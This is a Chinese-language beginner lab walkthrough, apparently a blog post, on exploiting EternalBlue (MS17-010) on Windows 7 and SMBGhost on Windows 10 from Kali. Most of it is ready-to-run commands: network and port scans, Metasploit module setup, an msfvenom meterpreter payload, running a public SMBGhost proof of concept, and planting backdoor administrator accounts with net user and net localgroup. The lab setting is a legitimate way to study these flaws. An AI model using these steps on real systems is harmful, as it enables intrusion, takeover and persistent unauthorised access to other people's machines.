网安-入门永恒之蓝/黑

永恒之蓝

实验环境：win7，kali

实验目的：拿到win7管理员权限

扫描该网段 nmap -sP 192.168.164.0/24，查看win7ip，也可在win7上查询

扫描端口，445，永恒之蓝是通过445端口进行攻击的

masscan --rate=10000 -p1-65535 192.168.164.128

测试连通性，互相ping通

输入命令masfconsole，进入框架

输入命令search ms17-010（永恒之蓝漏洞代码，可以百度查）

0是攻击，3是监测是否可以攻击

先进行检测 命令：use 3

输入options，填写参数（标注为yes的都是必填项）

可以看到RHOSTS（攻击对象ip）没有参数

命令set rhosts 192.168.164.128，将参数填入

由于，我的虚拟机win7不存在此漏洞所以我就不进行下去了。后面步骤就是use 0或? use exploit/windows/smb/ms17_010_eternalblue 进行攻击，将必填参数填写，最后输入run命令执行就可进入win7

获得shell控制台：shell，成功后输入shell就可，显示转到C:\Windows\system32目录下，说明已经获得了shell的控制权。

获得后可以，通过命令创建管理员用户就可直

进行后门植入（创建新的管理员账户）

? ? ? net user hack 123456 /add ? ? ? ?//在windows 7上创建一个hack的用户，以便下次访问

? ? ? net localgroup administrators hack /add ? ? //将hack加入到windows 7的本地管理员组中，以便获得更大权限

? ? ? net user ? ? ? ?//查看windows 7本地用户

? ? ? net localgroup administrators ? ? ? //查看windows 7本地管理员

在kali中输入 run vnc 可进入win7桌面（可显示）

更多命令可百度。

永恒之黑

漏洞原理：

SMB远程代码执行漏洞

SMB 3.1.1协议中处理压缩消息时，对其中数据没有经过安全检查，直接使用会引发内存破坏漏洞，可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行，受黑客攻击的目标系统只需开机在线即可能被入侵。

Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包，在解压数据包的时候使用客户端传过来的长度进行解压时，并没有检查长度是否合法，最终导致整数溢出。

利用该漏洞，黑客可直接远程攻击SMB服务端远程执行任意恶意代码，亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。

漏洞验证之蓝屏攻击

实验环境：win10永恒之黑漏洞版，关闭防火墙

将软件解压缩win+r，cmd，将软件拖入shell，根据提示输入win10ip。

利用漏洞开始攻击

实验环境：win10永恒之黑漏洞版，kali

ed2k://|file|cn_windows_10_business_editions_version_1903_x64_dvd_e001dd2c.iso|4815527936|47D4C57E638DF8BF74C59261E2CE702D|/

生成反向连接木马

命令?msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8888 -b '\x00' -i 1 -f python

输入命令：msfconsole进入框架

开启kali监听

依次执行下面命令

use exploit/multi/handler

set payload windows/x64/meterpreter/bind_tcp（刚刚替换的shellcode，后门）

set lport 8888（端口）

set rhost 192.168.164.132（win10ip）

run

新建窗口

将SMBGhost_RCE_PoC-master复制到root目录下

命令：cp -r '/home/kali/Desktop/SMBGhost_RCE_PoC-master' '/root/'

进入SMBGhost_RCE_PoC-master

命令：cd /root/SMBGhost_RCE_PoC-master

命令：python exploit.py -ip 192.168.164.132

到倒数第二行后，需要随便摁一个键执行

发现win10蓝屏了攻击成功

继续利用此漏洞做出更多，上一步蓝屏可能不会出现meterpreter（会话），可以ctrl+c结束第一个窗口，然后再次run，第二个窗口再次执行python exploit.py -ip 192.168.164.132，不成功就重复此操作（看运气）

输入shell进入win10的doc界面

exit可退出

命令：net user abc 1 /add

创建新用户abc，密码为1

将用户abc加入到管理员组

发现win10成功添加了abc用户

exit推出shell

run vnc进入win10桌面（前提win10没开防火墙）

开启win10远程桌面功能

返回真实机win+r输入mstsc（远程登录），输入win10ip，以abc账户登录（有个缺点需要返回win10确定，但是学习实验够了）